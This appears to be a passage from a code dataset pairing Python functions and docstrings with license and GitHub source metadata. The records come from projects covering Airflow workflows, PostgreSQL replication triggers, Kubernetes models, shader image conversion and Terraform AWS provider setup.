1000 tol = .042 beta = 1/tol rows = 3 cols = 3 channels = 3 axes = ['b', 0, 1, 'c'] random.shuffle(axes) axes = tuple(axes) print('axes:', axes) class DummyLayer(object): def downward_state(self, state): return state def downward_message(self, state): return state vis = GaussianVisLayer(nvis=None,rows=rows, cols=cols, channels=channels, init_beta=beta, axes=axes) hid = DummyLayer() rng = np.random.RandomState([2012,11,1,259]) mean = rng.uniform(1e-6, 1. - 1e-6, (rows, cols, channels)) ofs = rng.randn(rows,cols,channels) vis.set_biases(ofs.astype(config.floatX)) z = mean -ofs z_var = sharedX(np.zeros((num_samples, rows, cols, channels)) + z) theano_rng = MRG_RandomStreams(2012+11+1) sample = vis.sample(state_above=z_var, layer_above=hid, theano_rng=theano_rng) sample = sample.eval() check_gaussian_samples(sample, num_samples, n, rows, cols, channels, mean, tol)
BSD 3-Clause New or Revised License
the-academic-observatory/observatory-platform
observatory-platform/observatory/platform/workflows/workflow.py
Workflow.add_task
python
def add_task(self, func: Callable, **kwargs): if not self._parallel_tasks: self.task_funcs.append(Operator(func, kwargs)) elif len(self.task_funcs) == 0 or not isinstance(self.task_funcs[-1], List): self.task_funcs.append([Operator(func, kwargs)]) else: self.task_funcs[-1].append(Operator(func, kwargs))
Add a task, which is used to process releases. A task has the following properties: - Has one of the following signatures 'def func(self, release: Release, **kwargs)' or 'def func(self, releases: List[Release], **kwargs)' - kwargs is the context passed from the PythonOperator. See https://airflow.apache.org/docs/stable/macros-ref.html for a list of the keyword arguments that are passed to this argument. - Run by a PythonOperator. :param func: the function that will be called by the PythonOperator task. :return: None.
https://github.com/the-academic-observatory/observatory-platform/blob/4b7e80b92cc8c20d6b3356ded1b23e658ac5157f/observatory-platform/observatory/platform/workflows/workflow.py#L308-L326
import contextlib import copy import dataclasses import logging import shutil from abc import ABC, abstractmethod from functools import partial from typing import Any, Callable, Dict, List, Union try: from typing import Protocol except ImportError: from typing_extensions import Protocol import pendulum from airflow import DAG from airflow.exceptions import AirflowException from airflow.models.baseoperator import chain from airflow.models.variable import Variable from airflow.operators.python import PythonOperator, ShortCircuitOperator from airflow.sensors.base import BaseSensorOperator from observatory.platform.utils.airflow_utils import ( AirflowVars, check_connections, check_variables, ) from observatory.platform.utils.file_utils import list_files from observatory.platform.utils.workflow_utils import SubFolder, on_failure_callback, workflow_path class ReleaseFunction(Protocol): def __call__(self, release: "AbstractRelease", **kwargs: Any) -> Any: ... """ :param release: A single instance of an AbstractRelease :param kwargs: the context passed from the PythonOperator. See https://airflow.apache.org/docs/stable/macros-ref.html for a list of the keyword arguments that are passed to this argument. :return: Any. """ class ListReleaseFunction(Protocol): def __call__(self, releases: List["AbstractRelease"], **kwargs: Any) -> Any: ... """ :param releases: A list of AbstractRelease instances :param kwargs: the context passed from the PythonOperator. See https://airflow.apache.org/docs/stable/macros-ref.html for a list of the keyword arguments that are passed to this argument. :return: Any. """ WorkflowFunction = Union[ReleaseFunction, ListReleaseFunction] class AbstractWorkflow(ABC): @abstractmethod def add_setup_task(self, func: Callable): pass @abstractmethod def add_setup_task_chain(self, funcs: List[Callable]): pass @abstractmethod def add_sensor(self, sensor: BaseSensorOperator): pass @abstractmethod def add_sensor_chain(self, sensors: List[BaseSensorOperator]): pass @abstractmethod def add_task(self, func: Callable): pass @abstractmethod def add_task_chain(self, funcs: List[Callable]): pass @abstractmethod def task_callable(self, func: WorkflowFunction, **kwargs) -> Any: pass @abstractmethod def make_release(self, **kwargs) -> Union["AbstractRelease", List["AbstractRelease"]]: pass @abstractmethod def make_dag(self) -> DAG: pass def make_task_id(func: Callable, kwargs: Dict) -> str: task_id_key = "task_id" if task_id_key in kwargs: task_id = kwargs["task_id"] else: task_id = func.__name__ return task_id @dataclasses.dataclass class Operator: func: Callable kwargs: Dict class Workflow(AbstractWorkflow): RELEASE_INFO = "releases" def __init__( self, dag_id: str, start_date: pendulum.DateTime, schedule_interval: str, catchup: bool = False, queue: str = "default", max_retries: int = 3, max_active_runs: int = 1, airflow_vars: list = None, airflow_conns: list = None, ): self.dag_id = dag_id self.start_date = start_date self.schedule_interval = schedule_interval self.catchup = catchup self.queue = queue self.max_retries = max_retries self.max_active_runs = max_active_runs self.airflow_vars = airflow_vars self.airflow_conns = airflow_conns self._parallel_tasks = False self.sensors = [] self.setup_task_funcs = [] self.task_funcs = [] self.default_args = { "owner": "airflow", "start_date": self.start_date, "on_failure_callback": on_failure_callback, "retries": self.max_retries, } self.description = self.__doc__ self.dag = DAG( dag_id=self.dag_id, schedule_interval=self.schedule_interval, default_args=self.default_args, catchup=self.catchup, max_active_runs=self.max_active_runs, doc_md=self.__doc__, ) def add_sensor(self, sensor: BaseSensorOperator): self.sensors.append(sensor) def add_sensor_chain(self, sensors: List[BaseSensorOperator]): self.sensors = sensors def add_setup_task(self, func: Callable, **kwargs): self.setup_task_funcs.append(Operator(func, kwargs)) def add_setup_task_chain(self, funcs: List[Callable], **kwargs): self.setup_task_funcs += [Operator(func, copy.copy(kwargs)) for func in funcs]
Apache License 2.0
shotarokataoka/ls-improved
ls_improved/lsi_visual.py
LsiVisualTransforms.run
python
def run(self, item, condition): prev_status = condition['status'] transforms = [] if condition['is_last']!=2: transforms += [self._add_indent_to_new_line] for tr in transforms: prev_status, item = tr(item, prev_status) status, output = self._concat_item(item, condition['is_last']) return status, output
This apply visual_transforms to an item. Parameters ---------- item : Dict condition : Dict Returns ------- status : Boolean 0 == success 1 == failed output : String An visualized item. This will be printed to the terminal.
https://github.com/shotarokataoka/ls-improved/blob/a4db1a4e9b6fe45393e2c44eef58460acdbf5758/ls_improved/lsi_visual.py#L111-L137
from .config import Config from .lsi_text import Text class LsiVisualTransforms(): def __init__(self): self.config = Config() def _add_indent_to_new_line(self, item, prev_status): if 'description' not in item.keys(): status = 1 return status, item indent_length = 3 * (item['depth']+1) base_name = item['path'] description = item['description'].text blank = '│' + ' '*int(indent_length + len(item['path']) + 3) description = description.split('\n') for i, desc in enumerate(description[::-1]): if not (set(' ') == set(desc) or set('') == set(desc)): break description = description[:len(description) - i] item['description'].text = '\n'.join(description) if len(description)>=2: insert_count = 0 for desc in description[:-1]: insert_count += len(desc)+1 item['description'].insert_text(blank, insert_count) item['description'].insert_style(';nl;', insert_count) item['description'].insert_style(';nle;', insert_count+len(blank)) insert_count += len(blank) status = 0 return status, item def _select_indent_head(self, item, place): if place==0: return '├', item if place==1: if 'description' in item.keys(): item['description'].text = item['description'].text.replace('│', ' ') return '└', item if place==2: return '', item def _concat_item(self, item, place): head, item = self._select_indent_head(item, place) if 'description' in item.keys(): description = item['description'] else: description = Text(item['type'], ';w;') indent = head+' '*3*item['depth'] + self.config.indent if place==2: output = description.render() else: output = indent + item['path'].render() + ' / ' + description.render() status = 0 return status, output
MIT License
rkibria/img2shadertoy
img2shadertoy.py
get_quantized_ints_block
python
def get_quantized_ints_block(dct_width, quantized_block): ints_block = [] for y_index in range(dct_width): current_int = 0 for x_index in range(dct_width): quantized = quantized_block[y_index][x_index] contrib = (quantized << (x_index * 8)) & (0xff << (x_index * 8)) current_int |= contrib ints_block.append(current_int) return ints_block
Store quantized block as integers. The 4 float values of each row are stored as 1 byte each in an int. First row value is stored in least significant byte. Results in a list of 4 ints.
https://github.com/rkibria/img2shadertoy/blob/ebd9a10c2717b6809c22025d4530b43b282ca1d1/img2shadertoy.py#L324-L340
import argparse import logging import bmpfile import rle import bits import dct logging.basicConfig(format='-- %(message)s') LOGGER = logging.getLogger('img2shadertoy') LOGGER.setLevel(logging.DEBUG) def output_header(bmp_data): print("// Generated with https://github.com/rkibria/img2shadertoy") print("const vec2 bitmap_size = vec2({0}, {1});".format(bmp_data.image_width, bmp_data.image_height)) def output_palette(bmp_data): print("const int[] palette = int[] (") for i in range(bmp_data.palette_size): color = bmp_data.palette[i] print("0x00{0:02x}{1:02x}{2:02x}".format(color[2], color[1], color[0]) + ("," if i != bmp_data.palette_size-1 else "")) print(");") def reverse_bitmap_order(bmp_data, reverse_type): for i in range(bmp_data.image_height): new_row = [] for k in range(bmp_data.row_size // 4): bitmap_long = bmp_data.row_data[i][k * 4 : (k + 1)* 4] if reverse_type == "bits": bitmap_long = bits.get_reverse_bits(bitmap_long) elif reverse_type == "nibbles": bitmap_long = bits.get_reverse_nibbles(bitmap_long) elif reverse_type == "endianness": bitmap_long = bits.get_reverse_endian(bitmap_long) else: raise RuntimeError("Unknown reversal type %s" % reverse_type) new_row.append(bitmap_long) bmp_data.row_data[i] = bytes().join(new_row) def output_bitmap(bmp_data): print("const int longs_per_line = {0};".format(bmp_data.row_size // 4)) print("const int[] bitmap = int[] (") for i in range(bmp_data.image_height): hexvals = [] for k in range(bmp_data.row_size // 4): bitmap_long = bmp_data.row_data[i][k * 4 : (k + 1)* 4] hexvals.append("0x" + bitmap_long.hex()) print(", ".join(hexvals)+ ("," if i != bmp_data.image_height - 1 else "")) print(");") def output_footer(): print(""" int getPaletteIndex(in vec2 uv) { int palette_index = 0; ivec2 fetch_pos = ivec2(uv * bitmap_size); palette_index = getPaletteIndexXY(fetch_pos); return palette_index; } vec4 getColorFromPalette(in int palette_index) { int int_color = palette[palette_index]; return vec4(float(int_color & 0xff)/ 255.0, float((int_color >> 8)& 0xff)/ 255.0, float((int_color >> 16)& 0xff)/ 255.0, 0); } vec4 getBitmapColor(in vec2 uv) { return getColorFromPalette(getPaletteIndex(uv)); } void mainImage(out vec4 fragColor, in vec2 fragCoord) { vec2 uv = fragCoord / bitmap_size; fragColor = getBitmapColor(uv); } """) def output_rle(encoded): print("const int[] rle = int[] (") hexvals = [] for k in range(len(encoded)// 4): long_val = encoded[k * 4 : (k + 1)* 4] long_val = bits.get_reverse_endian(long_val) hexvals.append("0x" + long_val.hex()) print(",\n".join(hexvals)) print(");") print(""" const int rle_len_bytes = rle.length() << 2; int get_rle_byte(in int byte_index) { int long_val = rle[byte_index >> 2]; return (long_val >> ((byte_index & 0x03)<< 3))& 0xff; } int get_uncompr_byte(in int byte_index) { int rle_index = 0; int cur_byte_index = 0; while(rle_index < rle_len_bytes) { int cur_rle_byte = get_rle_byte(rle_index); bool is_sequence = int(cur_rle_byte & 0x80)== 0; int count = (cur_rle_byte & 0x7f)+ 1; if(byte_index >= cur_byte_index && byte_index < cur_byte_index + count) { if(is_sequence) { return get_rle_byte(rle_index + 1 + (byte_index - cur_byte_index)); } else{ return get_rle_byte(rle_index + 1); } } else { if(is_sequence) { rle_index += count + 1; cur_byte_index += count; } else { rle_index += 2; cur_byte_index += count; } } } return 0; } """) def sequences_to_bytes(sequence, value_op=None): result = [] for seq in sequence: if seq[0] == "R": count = seq[1] val = seq[2] while count != 0: cur_reps = min(128, count) result.append((0x80 | (cur_reps - 1)).to_bytes(1, "little")) store_val = val.to_bytes(1, "little") if value_op: store_val = value_op(store_val) result.append(store_val) count -= cur_reps else: part_sequence = seq[1] seq_len = len(part_sequence) seq_i = 0 while seq_len != 0: cur_len = min(128, seq_len) result.append((cur_len - 1).to_bytes(1, "little")) for seq_val in part_sequence[seq_i : seq_i + cur_len]: store_val = seq_val.to_bytes(1, "little") if value_op: store_val = value_op(store_val) result.append(store_val) seq_i += cur_len seq_len -= cur_len return b''.join(result) def process_one_bit(bmp_data, rle_enabled): output_header(bmp_data) output_palette(bmp_data) if rle_enabled: bitmap = bytes().join(bmp_data.row_data) seq = rle.get_sequences(rle.get_repeat_counts(bitmap), 3) encoded = sequences_to_bytes(seq, bits.get_reverse_bits) output_rle(encoded) print(""" int getPaletteIndexXY(in ivec2 fetch_pos) { int palette_index = 0; if(fetch_pos.x >= 0 && fetch_pos.y >= 0 && fetch_pos.x < int(bitmap_size.x)&& fetch_pos.y < int(bitmap_size.y)) { int uncompr_byte_index = fetch_pos.y * (int(bitmap_size.x)>> 3) + (fetch_pos.x >> 3); int uncompr_byte = get_uncompr_byte(uncompr_byte_index); int bit_index = fetch_pos.x & 0x07; palette_index = (uncompr_byte >> bit_index)& 1; } return palette_index; } """) else: reverse_bitmap_order(bmp_data, "bits") output_bitmap(bmp_data) print(""" int getPaletteIndexXY(in ivec2 fetch_pos) { int palette_index = 0; if(fetch_pos.x >= 0 && fetch_pos.y >= 0 && fetch_pos.x < int(bitmap_size.x)&& fetch_pos.y < int(bitmap_size.y)) { int line_index = fetch_pos.y * longs_per_line; int long_index = line_index + (fetch_pos.x >> 5); int bitmap_long = bitmap[long_index]; int bit_index = fetch_pos.x & 0x1f; palette_index = (bitmap_long >> bit_index)& 1; } return palette_index; } """) output_footer() def process_four_bit(bmp_data, rle_enabled): output_header(bmp_data) output_palette(bmp_data) if rle_enabled: bitmap = bytes().join(bmp_data.row_data) seq = rle.get_sequences(rle.get_repeat_counts(bitmap), 3) encoded = sequences_to_bytes(seq, bits.get_reverse_nibbles) output_rle(encoded) print(""" int getPaletteIndexXY(in ivec2 fetch_pos) { int palette_index = 0; if(fetch_pos.x >= 0 && fetch_pos.y >= 0 && fetch_pos.x < int(bitmap_size.x)&& fetch_pos.y < int(bitmap_size.y)) { int uncompr_byte_index = fetch_pos.y * (int(bitmap_size.x)>> 1) + (fetch_pos.x >> 1); int uncompr_byte = get_uncompr_byte(uncompr_byte_index); int nibble_index = fetch_pos.x & 0x01; palette_index = (uncompr_byte >> (nibble_index << 2))& 0xf; } return palette_index; } """) else: reverse_bitmap_order(bmp_data, "nibbles") output_bitmap(bmp_data) print(""" int getPaletteIndexXY(in ivec2 fetch_pos) { int palette_index = 0; if(fetch_pos.x >= 0 && fetch_pos.y >= 0 && fetch_pos.x < int(bitmap_size.x)&& fetch_pos.y < int(bitmap_size.y)) { int line_index = fetch_pos.y * longs_per_line; int long_index = line_index + (fetch_pos.x >> 3); int bitmap_long = bitmap[long_index]; int nibble_index = fetch_pos.x & 0x07; palette_index = (bitmap_long >> (nibble_index << 2))& 0xf; } return palette_index; } """) output_footer() QUANT_MTX = [ [16, 11, 10, 16,], [12, 12, 14, 19,], [14, 13, 16, 24,], [14, 17, 22, 29,], ] def get_quantized_dct_block(dct_width, compressed_dct_block): quantized_block = [] for y_index in range(dct_width): quantized_row = [] for x_index in range(dct_width): unquantized = compressed_dct_block[y_index][x_index] quant_factor = QUANT_MTX[y_index][x_index] quantized = int(round(unquantized / quant_factor)) quantized_row.append(quantized) quantized_block.append(quantized_row) return quantized_block
MIT License
ethereum/beaconrunner
notebooks/thunderdome/eth2spec/test/context.py
default_activation_threshold
python
def default_activation_threshold(spec): return spec.MAX_EFFECTIVE_BALANCE
Helper method to use the default balance activation threshold for state creation for tests. Usage: `@with_custom_state(threshold_fn=default_activation_threshold, ...)`
https://github.com/ethereum/beaconrunner/blob/aac61ed7b2d8b9875a117b24b86f58d6a93b1dd2/notebooks/thunderdome/eth2spec/test/context.py#L109-L114
import pytest from eth2spec.phase0 import spec as spec_phase0 from eth2spec.altair import spec as spec_altair from eth2spec.utils import bls from .exceptions import SkippedTest from .helpers.genesis import create_genesis_state from .utils import vector_test, with_meta_tags from random import Random from typing import Any, Callable, NewType, Sequence, TypedDict, Protocol from lru import LRU from importlib import reload def reload_specs(): reload(spec_phase0) reload(spec_altair) SpecForkName = NewType("SpecForkName", str) ConfigName = NewType("ConfigName", str) PHASE0 = SpecForkName('phase0') ALTAIR = SpecForkName('altair') MERGE = SpecForkName('merge') SHARDING = SpecForkName('sharding') CUSTODY_GAME = SpecForkName('custody_game') DAS = SpecForkName('das') ALL_PHASES = (PHASE0, ALTAIR) MAINNET = ConfigName('mainnet') MINIMAL = ConfigName('minimal') ALL_CONFIGS = (MINIMAL, MAINNET) TESTGEN_FORKS = (PHASE0, ALTAIR) class Spec(Protocol): version: str class SpecPhase0(Spec): ... class SpecAltair(Spec): ... class SpecForks(TypedDict, total=False): PHASE0: SpecPhase0 ALTAIR: SpecAltair def _prepare_state(balances_fn: Callable[[Any], Sequence[int]], threshold_fn: Callable[[Any], int], spec: Spec, phases: SpecForks): p0 = phases[PHASE0] balances = balances_fn(p0) activation_threshold = threshold_fn(p0) state = create_genesis_state(spec=p0, validator_balances=balances, activation_threshold=activation_threshold) if spec.fork == ALTAIR: state = phases[ALTAIR].upgrade_to_altair(state) return state _custom_state_cache_dict = LRU(size=10) def with_custom_state(balances_fn: Callable[[Any], Sequence[int]], threshold_fn: Callable[[Any], int]): def deco(fn): def entry(*args, spec: Spec, phases: SpecForks, **kw): key = (spec.fork, spec.CONFIG_NAME, spec.__file__, balances_fn, threshold_fn) global _custom_state_cache_dict if key not in _custom_state_cache_dict: state = _prepare_state(balances_fn, threshold_fn, spec, phases) _custom_state_cache_dict[key] = state.get_backing() state = spec.BeaconState(backing=_custom_state_cache_dict[key]) kw['state'] = state return fn(*args, spec=spec, phases=phases, **kw) return entry return deco
MIT License
disqus/pgshovel
src/main/python/pgshovel/administration/__init__.py
unconfigure_set
python
def unconfigure_set(cluster, cursor, name, configuration): logger.info('Unconfiguring replication set on %s...', cursor.connection.dsn) logger.info('Dropping transaction queue...') cursor.execute("SELECT pgq.drop_queue(%s)", (cluster.get_queue_name(name),)) for table in configuration.tables: drop_trigger(cluster, cursor, name, table.schema, table.name)
Removes all triggers and log queue for the provided replication set.
https://github.com/disqus/pgshovel/blob/dc8039f9fe3331a99f10b7e6309151c08a292879/src/main/python/pgshovel/administration/__init__.py#L377-L388
import cPickle as pickle import collections import hashlib import itertools import logging import operator import random import psycopg2 from pkg_resources import parse_version from pgshovel import __version__ from pgshovel.cluster import check_version from pgshovel.database import ( get_configuration_value, get_node_identifier, get_or_set_node_identifier, set_configuration_value, update_configuration_value, ) from pgshovel.interfaces.configurations_pb2 import ( ClusterConfiguration, ReplicationSetConfiguration, ) from pgshovel.utilities import unique from pgshovel.utilities.datastructures import FormattedSequence from pgshovel.utilities.postgresql import ( Transaction, managed, quote, ) from pgshovel.utilities.protobuf import BinaryCodec from pgshovel.utilities.templates import resource_string from pgshovel.utilities.zookeeper import commit logger = logging.getLogger(__name__) INSTALL_CONFIGURATION_TABLE_STATEMENT_TEMPLATE = """\ CREATE TABLE IF NOT EXISTS {schema}.configuration ( key varchar PRIMARY KEY, value bytea ) """ def create_configuration_table(cluster, cursor): statement = INSTALL_CONFIGURATION_TABLE_STATEMENT_TEMPLATE.format( schema=quote(cluster.schema), ) cursor.execute(statement) INSTALL_REPLICATION_STATE_TABLE_STATEMENT_TEMPLATE = """\ CREATE TABLE IF NOT EXISTS {schema}.replication_state ( set varchar PRIMARY KEY, state bytea ) """ def create_replication_state_table(cluster, cursor): statement = INSTALL_REPLICATION_STATE_TABLE_STATEMENT_TEMPLATE.format( schema=quote(cluster.schema), ) cursor.execute(statement) INSTALL_LOG_TRIGGER_STATEMENT_TEMPLATE = """\ CREATE OR REPLACE FUNCTION {schema}.log() RETURNS trigger LANGUAGE plpythonu AS $TRIGGER$ # Generated by pgshovel=={version} {body} $TRIGGER$""" def create_log_trigger_function(cluster, cursor, node_id): body = resource_string('sql/log_trigger.py.tmpl') statement = INSTALL_LOG_TRIGGER_STATEMENT_TEMPLATE.format( schema=quote(cluster.schema), body=body, version=__version__, ) cursor.execute(statement) def setup_database(cluster, cursor): logger.info('Creating PgQ extension (if it does not already exist)...') cursor.execute('CREATE EXTENSION IF NOT EXISTS pgq') logger.info('Creating (or updating) plpythonu language...') cursor.execute('CREATE OR REPLACE LANGUAGE plpythonu') logger.info('Creating schema (if it does not already exist)...') cursor.execute('CREATE SCHEMA IF NOT EXISTS {schema}'.format( schema=quote(cluster.schema), )) logger.info('Creating configuration table (if it does not already exist)...') create_configuration_table(cluster, cursor) logger.info('Creating replication state table (if it does not already exist)...') create_replication_state_table(cluster, cursor) version = get_configuration_value(cluster, cursor, 'version') if version is None: set_configuration_value(cluster, cursor, 'version', __version__) elif version is not None and str(version) != __version__: update_configuration_value(cluster, cursor, 'version', __version__) logger.info('Checking for node ID...') node_id = get_or_set_node_identifier(cluster, cursor) logger.info('Installing (or updating) log trigger function...') create_log_trigger_function(cluster, cursor, node_id) return node_id def get_managed_databases(cluster, dsns, configure=True, skip_inaccessible=False, same_version=True): if not dsns: return {} nodes = {} if same_version: ztransaction = check_version(cluster) else: ztransaction = cluster.zookeeper.transaction() lock_id = random.randint(-2**63, 2**63-1) logger.debug('Connecting to databases: %s', FormattedSequence(dsns)) transactions = [] for dsn in dsns: try: connection = psycopg2.connect(dsn) except Exception as error: if skip_inaccessible: logger.warning('%s is inaccessible due to error, skipping: %s', dsn, error) continue else: raise logger.debug('Checking if %s has been configured...', dsn) try: with connection.cursor() as cursor: node_id = get_node_identifier(cluster, cursor) assert node_id is not None except psycopg2.ProgrammingError: if not configure: raise logger.info('%s has not been configured for use, setting up now...', dsn) connection.rollback() transaction = Transaction(connection, 'setup-database') transactions.append(transaction) with connection.cursor() as cursor: cursor.execute('SELECT pg_try_advisory_lock(%s) as acquired', (lock_id,)) ((acquired,),) = cursor.fetchall() assert acquired, 'could not take out advisory lock on %s (possible deadlock?)' % (connection,) node_id = setup_database(cluster, cursor) else: with connection.cursor() as cursor: version = str(get_configuration_value(cluster, cursor, 'version')) assert version == __version__, 'local and node versions do not match (local: %s, node: %s)' % (__version__, version) logger.debug('%s is already configured as %s (version %s).', dsn, node_id, version) connection.commit() assert node_id not in nodes, 'found duplicate node: %s and %s' % (connection, nodes[node_id]) nodes[node_id] = connection if transactions: with managed(transactions): commit(ztransaction) return nodes def setup_triggers(cluster, cursor, name, configuration): trigger = cluster.get_trigger_name(name) def create_trigger(table): logger.info('Installing (or replacing) log trigger on %s.%s...', table.schema, table.name) primary_keys = unique(list(table.primary_keys)) all_columns = unique(primary_keys + list(table.columns)) if table.columns: column_list = 'OF %s' % ', '.join(map(quote, all_columns)) else: column_list = '' statement = """ CREATE TRIGGER {name} AFTER INSERT OR UPDATE {columns} OR DELETE ON {schema}.{table} FOR EACH ROW EXECUTE PROCEDURE {cluster_schema}.log(%s, %s, %s, %s) """.format( name=quote(trigger), columns=column_list, schema=quote(table.schema), table=quote(table.name), cluster_schema=quote(cluster.schema), ) cursor.execute("DROP TRIGGER IF EXISTS {name} ON {schema}.{table}".format( name=quote(trigger), schema=quote(table.schema), table=quote(table.name), )) cursor.execute(statement, ( cluster.get_queue_name(name), pickle.dumps(primary_keys), pickle.dumps(all_columns if table.columns else None), get_version(configuration)), ) for table in configuration.tables: create_trigger(table) def drop_trigger(cluster, cursor, name, schema, table): logger.info('Dropping log trigger on %s.%s...', schema, table) cursor.execute('DROP TRIGGER {name} ON {schema}.{table}'.format( name=quote(cluster.get_trigger_name(name)), schema=quote(schema), table=quote(table), )) def get_version(configuration): return hashlib.md5(configuration.SerializeToString()).hexdigest() class VersionedSet(collections.namedtuple('VersionedSet', 'name version')): @classmethod def expand(cls, value): bits = value.split('@', 1) if len(bits) == 1: return cls(bits[0], None) elif len(bits) == 2: return cls(bits[0], bits[1]) else: raise AssertionError('Invalid set identifier: %r' % (value,)) def fetch_sets(cluster, names=None): if names is None: names = cluster.zookeeper.get_children(cluster.get_set_path()) sets = map(VersionedSet.expand, names) paths = map( cluster.get_set_path, map(operator.attrgetter('name'), sets), ) futures = map(cluster.zookeeper.get_async, paths) results = [] decode = BinaryCodec(ReplicationSetConfiguration).decode for s, future in zip(sets, futures): data, stat = future.get() configuration = decode(data) assert s.version is None or s.version == get_version(configuration), 'versions do not match (%s and %s)' % (s.version, get_version(configuration)) results.append((s.name, (configuration, stat))) return results def validate_set_configuration(configuration): for table in configuration.tables: assert len(table.primary_keys) > 0, 'table %s.%s must have associated primary key column(s)' % (quote(table.schema), quote(table.name),) def configure_set(cluster, cursor, name, configuration, previous_configuration=None): logger.info('Configuring replication set on %s...', cursor.connection.dsn) logger.info('Creating transaction queue (if it does not already exist)...') cursor.execute("SELECT pgq.create_queue(%s)", (cluster.get_queue_name(name),)) setup_triggers(cluster, cursor, name, configuration) if previous_configuration is not None: current_tables = set((t.schema, t.name) for t in previous_configuration.tables) updated_tables = set((t.schema, t.name) for t in configuration.tables) dropped_tables = current_tables - updated_tables for schema, table in dropped_tables: drop_trigger(cluster, cursor, name, schema, table)
Apache License 2.0
olitheolix/aiokubernetes
aiokubernetes/models/v1beta1_daemon_set_status.py
V1beta1DaemonSetStatus.updated_number_scheduled
python
def updated_number_scheduled(self): return self._updated_number_scheduled
Gets the updated_number_scheduled of this V1beta1DaemonSetStatus. # noqa: E501 The total number of nodes that are running updated daemon pod # noqa: E501 :return: The updated_number_scheduled of this V1beta1DaemonSetStatus. # noqa: E501 :rtype: int
https://github.com/olitheolix/aiokubernetes/blob/266718b210dff2a9b2212183261ea89adf89115e/aiokubernetes/models/v1beta1_daemon_set_status.py#L308-L316
import pprint import re from aiokubernetes.models.v1beta1_daemon_set_condition import V1beta1DaemonSetCondition class V1beta1DaemonSetStatus(object): """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'collision_count': 'int', 'conditions': 'list[V1beta1DaemonSetCondition]', 'current_number_scheduled': 'int', 'desired_number_scheduled': 'int', 'number_available': 'int', 'number_misscheduled': 'int', 'number_ready': 'int', 'number_unavailable': 'int', 'observed_generation': 'int', 'updated_number_scheduled': 'int' } attribute_map = { 'collision_count': 'collisionCount', 'conditions': 'conditions', 'current_number_scheduled': 'currentNumberScheduled', 'desired_number_scheduled': 'desiredNumberScheduled', 'number_available': 'numberAvailable', 'number_misscheduled': 'numberMisscheduled', 'number_ready': 'numberReady', 'number_unavailable': 'numberUnavailable', 'observed_generation': 'observedGeneration', 'updated_number_scheduled': 'updatedNumberScheduled' } def __init__(self, collision_count=None, conditions=None, current_number_scheduled=None, desired_number_scheduled=None, number_available=None, number_misscheduled=None, number_ready=None, number_unavailable=None, observed_generation=None, updated_number_scheduled=None): self._collision_count = None self._conditions = None self._current_number_scheduled = None self._desired_number_scheduled = None self._number_available = None self._number_misscheduled = None self._number_ready = None self._number_unavailable = None self._observed_generation = None self._updated_number_scheduled = None self.discriminator = None if collision_count is not None: self.collision_count = collision_count if conditions is not None: self.conditions = conditions self.current_number_scheduled = current_number_scheduled self.desired_number_scheduled = desired_number_scheduled if number_available is not None: self.number_available = number_available self.number_misscheduled = number_misscheduled self.number_ready = number_ready if number_unavailable is not None: self.number_unavailable = number_unavailable if observed_generation is not None: self.observed_generation = observed_generation if updated_number_scheduled is not None: self.updated_number_scheduled = updated_number_scheduled @property def collision_count(self): return self._collision_count @collision_count.setter def collision_count(self, collision_count): self._collision_count = collision_count @property def conditions(self): return self._conditions @conditions.setter def conditions(self, conditions): self._conditions = conditions @property def current_number_scheduled(self): return self._current_number_scheduled @current_number_scheduled.setter def current_number_scheduled(self, current_number_scheduled): if current_number_scheduled is None: raise ValueError("Invalid value for `current_number_scheduled`, must not be `None`") self._current_number_scheduled = current_number_scheduled @property def desired_number_scheduled(self): return self._desired_number_scheduled @desired_number_scheduled.setter def desired_number_scheduled(self, desired_number_scheduled): if desired_number_scheduled is None: raise ValueError("Invalid value for `desired_number_scheduled`, must not be `None`") self._desired_number_scheduled = desired_number_scheduled @property def number_available(self): return self._number_available @number_available.setter def number_available(self, number_available): self._number_available = number_available @property def number_misscheduled(self): return self._number_misscheduled @number_misscheduled.setter def number_misscheduled(self, number_misscheduled): if number_misscheduled is None: raise ValueError("Invalid value for `number_misscheduled`, must not be `None`") self._number_misscheduled = number_misscheduled @property def number_ready(self): return self._number_ready @number_ready.setter def number_ready(self, number_ready): if number_ready is None: raise ValueError("Invalid value for `number_ready`, must not be `None`") self._number_ready = number_ready @property def number_unavailable(self): return self._number_unavailable @number_unavailable.setter def number_unavailable(self, number_unavailable): self._number_unavailable = number_unavailable @property def observed_generation(self): return self._observed_generation @observed_generation.setter def observed_generation(self, observed_generation): self._observed_generation = observed_generation @property
Apache License 2.0
xanaduai/strawberryfields
strawberryfields/apps/data/sample.py
SampleDataset._data_filename
python
def _data_filename(self) -> str: pass
Base name of files containing the sample data stored in the ``./sample_data/`` directory. Samples and corresponding adjacency matrix should both be provided as a ``scipy.sparse.csr_matrix`` saved in ``.npz`` format. For ``_data_filename = "example"``, the corresponding samples should be stored as ``./sample_data/example.npz`` and the adjacency matrix as ``./sample_data/example_A.npz``.
https://github.com/xanaduai/strawberryfields/blob/c1eed81a93419cb9c28a6ca205925691063722ce/strawberryfields/apps/data/sample.py#L44-L52
from abc import ABC, abstractmethod import pkg_resources import numpy as np import scipy DATA_PATH = pkg_resources.resource_filename("strawberryfields", "apps/data/sample_data") + "/" class SampleDataset(ABC): _count = 0 @property @abstractmethod
Apache License 2.0
raymondbutcher/pretf
pretf.aws/pretf/aws.py
provider_aws
python
def provider_aws(**body: dict) -> Block: if body.get("profile"): session = get_session(profile_name=body["profile"]) creds = session.get_credentials() if not _profile_creds_definitely_supported_by_terraform(creds): del body["profile"] frozen_creds = creds.get_frozen_credentials() body["access_key"] = frozen_creds.access_key body["secret_key"] = frozen_creds.secret_key if creds.token: body["token"] = frozen_creds.token return block("provider", "aws", body)
Returns an AWS provider block. If provided, the `profile` option may be replaced with temporary credentials for that profile.
https://github.com/raymondbutcher/pretf/blob/3d2fe7619ce0adc38d5f0765e993bee2fd8c4bbd/pretf.aws/pretf/aws.py#L238-L262
